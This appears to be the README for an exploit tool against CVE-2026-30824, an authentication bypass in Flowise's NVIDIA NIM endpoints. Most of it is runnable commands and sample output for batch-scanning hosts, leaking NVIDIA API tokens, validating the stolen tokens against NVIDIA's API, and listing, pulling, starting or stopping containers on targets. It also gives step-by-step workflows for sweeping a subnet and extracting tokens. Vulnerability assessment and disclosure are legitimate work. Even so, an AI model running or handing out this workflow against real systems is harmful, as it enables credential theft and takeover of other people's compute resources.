CVE-2026-30824 — Flowise NVIDIA NIM Authentication Bypass Checker and Exploit

A proof-of-concept checker and exploit for CVE-2026-30824, a critical authentication bypass vulnerability in Flowise that exposes NVIDIA NIM API endpoints without authentication.

Vulnerability Overview

CVE-2026-30824 is a critical authentication bypass in Flowise (< 3.0.13) that allows unauthenticated remote attackers to access NVIDIA NIM container management and API token generation endpoints.

Field	Value
CVSS Score	9.8 (Critical)
CWE	CWE-306: Missing Authentication for Critical Function
Affected Versions	Flowise < 3.0.13
Impact	Full container management, GPU access, token theft

Root Cause

The /api/v1/nvidia-nim/* path is whitelisted in the global authentication middleware, allowing unauthenticated access to:

Token generation and leaking
Container management (list, start, stop)
Docker image pulling
NVIDIA API integration

Features

✅ Vulnerability Detection — Quick check if target is vulnerable
✅ Token Extraction — Leak NVIDIA API tokens from vulnerable endpoints
✅ Token Validation — Verify tokens against NVIDIA API (demonstrate blast radius)
✅ Container Enumeration — List running NIM containers
✅ Batch Scanning — Scan multiple targets from a file
✅ SSL Bypass — Ignore self-signed certificates by default
✅ Colored Output — Easy-to-read status indicators (green/yellow/red)
✅ Reconnaissance — Full endpoint mapping and diagnostics

Installation

Prerequisites

Python 3.7+
requests library

Setup

# Clone or download the script
git clone <repository>
cd cve-2026-30824

# Install dependencies
pip install -r requirements.txt
# or
pip install requests

Usage

Basic Vulnerability Check

# Check if a single target is vulnerable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check

# Expected output (VULNERABLE):
# [+] Target appears VULNERABLE (HTTP 200)
#     Response: {...}

Scan Multiple Targets

# Create targets.txt with one URL per line
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF

# Scan all targets (fast mode, no prompts)
python3 CVE-2026-30824.py -f targets.txt --scan-only

# Expected summary output:
# ============================================================
# [*] Scan Summary
# ============================================================
# [+] VULNERABLE: 2
#     ✓ http://192.168.1.100:3000
#     ✓ http://192.168.1.101:3000
# [-] PATCHED: 1
#     ✗ http://192.168.1.102:3000

Extract NVIDIA API Token

# Leak the NVIDIA API token from vulnerable endpoint
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# Expected output:
# [*] Attempting to leak NVIDIA API token...
# [+] NVIDIA API Token: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Token Type: Bearer
# [+] Expires In: 3600s

Validate Token Against NVIDIA API

# Verify a leaked token works against real NVIDIA API
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."

# Expected output:
# [*] Validating token against NVIDIA API...
# [+] Token VALID! Access to 45 NVIDIA NIM models.
#     - mistralai/mistral-7b-instruct-v0.1
#     - meta-llama/llama2-70b
#     - (...)

List Running Containers

# Enumerate containers on the target
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers

# Expected output:
# [*] Listing running containers...
# [+] HTTP 200
# [
#   {
#     "id": "abc123xyz",
#     "names": ["flowise_nim"],
#     "image": "nvcr.io/nvidia/nim:latest",
#     "state": "running"
#   }
# ]

Full Reconnaissance (All Checks)

# Run all reconnaissance checks on vulnerable target
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

Command-Line Options

usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
                             [--scan-only] [--get-token]
                             [--validate-token TOKEN] [--list-containers]
                             [--get-container CONTAINER_ID]
                             [--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
                             [--start-container IMAGE_TAG]
                             [--container-name CONTAINER_NAME]
                             [--stop-container CONTAINER_ID] [--preload]
                             [--all] [--timeout TIMEOUT] [--debug]

Optional arguments:
  -h, --help                    Show this help message and exit
  -t, --target TARGET           Target URL (e.g., http://192.168.1.100:3000)
  -f, --targets-file FILE       File with list of targets (one per line)
  
Vulnerability Detection:
  --check                       Only check if target is vulnerable
  --scan-only                   Scan targets for vulnerability without prompts
  --debug                       Show request details and raw responses
  
Exploitation:
  --get-token                   Leak NVIDIA API token
  --validate-token TOKEN        Validate leaked token against NVIDIA API
  --list-containers             List running NIM containers
  --get-container CONTAINER_ID  Get container details
  --get-image IMAGE_ID          Get image details
  --pull-image IMAGE_TAG        Pull a Docker image (e.g., nvcr.io/nvidia/nim:latest)
  --start-container IMAGE_TAG   Start a container from an image tag
  --container-name NAME         Name for the started container
  --stop-container CONTAINER_ID Stop a running container
  --preload                     Trigger resource preload endpoint
  --all                         Run all reconnaissance checks
  
Advanced:
  --timeout SECONDS             Request timeout in seconds (default: 15)

Workflow Examples

Scenario 1: Internal Network Assessment

# 1. Scan entire subnet for vulnerable instances
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only

# 2. For each vulnerable target, extract token
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# 3. Validate token impact
python3 CVE-2026-30824.py --validate-token "<extracted-token>"

Scenario 2: Proof of Impact

# Verify vulnerability and demonstrate full blast radius
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

# This will:
# 1. Check vulnerability
# 2. Extract NVIDIA API token
# 3. Validate token against NVIDIA API
# 4. List running containers
# 5. Show resource enumeration

Scenario 3: Continuous Monitoring

# Monitor a target periodically (via cron or scheduler)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log

Output Indicators

Colors

🟢 GREEN — Vulnerable target or successful exploitation
🟡 YELLOW — Patched/not vulnerable or warning
🔴 RED — Error or connection failure

Status Codes

HTTP	Meaning
200	✅ Vulnerable (endpoint accessible)
400	✅ Vulnerable (application error but endpoint exists)
401	🟡 Patched (authentication required)
404	🟡 Not Flowise or endpoint doesn't exist
5xx	🔴 Server error/misconfigured

Troubleshooting

"Got HTML response instead of JSON"

Problem: The endpoint returns an HTML page instead of JSON API response.

Solutions:

Verify the Flowise version is actually vulnerable (< 3.0.13)
Check if the target is actually running Flowise (not a different app)
Verify the endpoint path hasn't changed in this version
Check if a reverse proxy or WAF is interfering

"Connection refused" or "Timeout"

Problem: Cannot reach the target.